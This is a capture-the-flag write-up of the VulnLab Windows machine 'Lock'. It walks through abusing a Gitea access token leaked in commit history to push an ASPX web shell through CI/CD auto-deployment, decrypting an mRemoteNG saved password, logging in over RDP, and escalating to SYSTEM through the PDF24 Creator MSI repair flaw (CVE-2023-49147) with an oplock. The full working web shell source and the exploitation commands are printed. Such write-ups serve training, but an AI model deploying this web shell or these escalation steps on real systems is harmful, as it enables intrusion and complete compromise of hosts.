🔏Lock (VulnLab)

About

Lock is an easy-difficulty Windows machine that involves enumerating a Gitea repository to find a Personal Access Token. This token is then used to deploy an ASPX web shell on the server, which provides an initial foothold. A password is then decrypted from an mRemoteNG configuration file, providing access to a new user account. Finally, a local privilege escalation vulnerability in the PDF24 application is exploited to obtain a shell with SYSTEM privileges.

Target Information

Target IP: 10.129.234.64
Attacker IP: 10.10.14.41
OS: Windows
Difficulty Context: VulnLab / HTB-style lab

Solution

Network Scan

A full TCP scan revealed four open services:

# Nmap 7.95 scan initiated Sat Dec 20 23:50:38 2025 as: /usr/lib/nmap/nmap -sCV -p- --open --min-rate 1000 -vv -oG nmap1.txt 10.129.234.64
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.234.64 ()	Status: Up
Host: 10.129.234.64 ()	Ports: 
80/open/tcp//http//Microsoft IIS httpd 10.0/
445/open/tcp//microsoft-ds?///
3000/open/tcp//http//Golang net|http server/
3389/open/tcp//ms-wbt-server//Microsoft Terminal Services/	
Ignored State: filtered (65531)
# Nmap done at Sat Dec 20 23:53:34 2025 -- 1 IP address (1 host up) scanned in 175.92 seconds

Port 3000 immediately stands out. That port is commonly associated with Gitea, a self-hosted Git service. Browsing to it confirms the suspicion.

Inside the Gitea instance, a public repository is available. Digging through its commit history reveals something subtle but devastating:

This token is effectively a password — but better. Unlike a password, it doesn’t expire, doesn’t prompt MFA, and often has broad permissions.

With it, authenticated access to Gitea is trivial.

Initial Access – Gitea CI/CD Abuse

The exposed token allowed authenticated access to Gitea. Using it, the repository was cloned:

export GITEA_ACCESS_TOKEN=$TOKEN
└─$   python3 repos.py http://10.129.234.64:3000
Repositories:
- ellen.freeman/dev-scripts
- ellen.freeman/website


└─$  git clone http://ellen.freeman:$TOKEN@10.129.xx.xx:3000/ellen.freeman/website.git

Inside the website repository, the README.md contains a single sentence that changes everything:

# New Project Website

CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver

This means commits are not just stored. They are executed.

An ASPX web shell is added to the repository and pushed upstream. Moments later, it is automatically deployed by the CI/CD pipeline to the IIS web server.

//cmd.aspx
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!--    http://michaeldaw.org   04/2007    -->

git remote set-url origin http://ellen.freeman:$TOKEN@10.129.xx.xx:3000/ellen.freeman/website.git
git add cmd.aspx
git commit -m "Update"
git push origin main

The result is immediate remote code execution. At this point, the attacker has a foothold as the user ellen.freeman.

Credential Discovery

While enumerating the user’s files, the following configuration file was found:

C:\Users\ellen.freeman\Documents\config.xml

This file belongs to mRemoteNG, a popular remote connection manager. mRemoteNG stores saved credentials — encrypted, but not safely. The password is encrypted, but mRemoteNG uses a known, reversible encryption scheme.

Credential Decryption

The password was decrypted using the public mRemoteNG decryption tool:

└─$   python3 exp.py config.xml
Name: RDP/Gale
Hostname: Lock
Username: Gale.Dekarios
Password: t[redacted]6

Lateral Movement – RDP Access

Credential validation:

nxc rdp 10.129.234.64 -u 'Gale.Dekarios' -p 't[redacted]6'

Successful login via RDP:

xfreerdp3 /v:10.129.234.64 /u:'Gale.Dekarios' /p:'t[redacted]6'

Privilege Escalation – PDF24 Creator MSI (CVE-2023-49147)

The system had PDF24 Creator 11.15.1 installed, which is vulnerable to a local privilege escalation via its MSI repair mechanism.

Vulnerability Reference

SEC Consult Advisory
CVE-2023-49147
Affects versions ≤ 11.15.1

Summary

PDF24 Creator versions up to 11.15.1 contain a local privilege escalation vulnerability in their MSI installer (CVE-2023-49147). When the product is installed via MSI, any low-privileged local user with GUI access can abuse the MSI repair functionality to execute a command prompt with SYSTEM privileges, without triggering a UAC prompt.

The issue occurs because the MSI repair process launches pdf24-PrinterInstall.exe as SYSTEM, which performs file operations on a writable log file. By placing an opportunistic lock (oplock) on this file, an attacker can prevent the SYSTEM-owned command window from closing and then interact with it to spawn a fully privileged SYSTEM shell.

This vulnerability allows complete compromise of the local system. The issue was fixed in PDF24 Creator version 11.15.2, and upgrading is strongly recommended.

Exploitation

An opportunistic file lock was placed on the log file used by the installer:

.\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r

The MSI repair process was triggered:

msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi

During repair, a SYSTEM-level cmd.exe window appeared and remained open due to the oplock.

SYSTEM Shell Spawn

From the SYSTEM cmd window:

Right-click the window title bar
Open Properties
Click Legacy Console Mode link
Open link using Firefox
Press CTRL + O
Type cmd.exe and press Enter

This spawned a fully interactive SYSTEM shell.

PreviousActive Directory NextEscapeTwo AD

Last updated 13 hours ago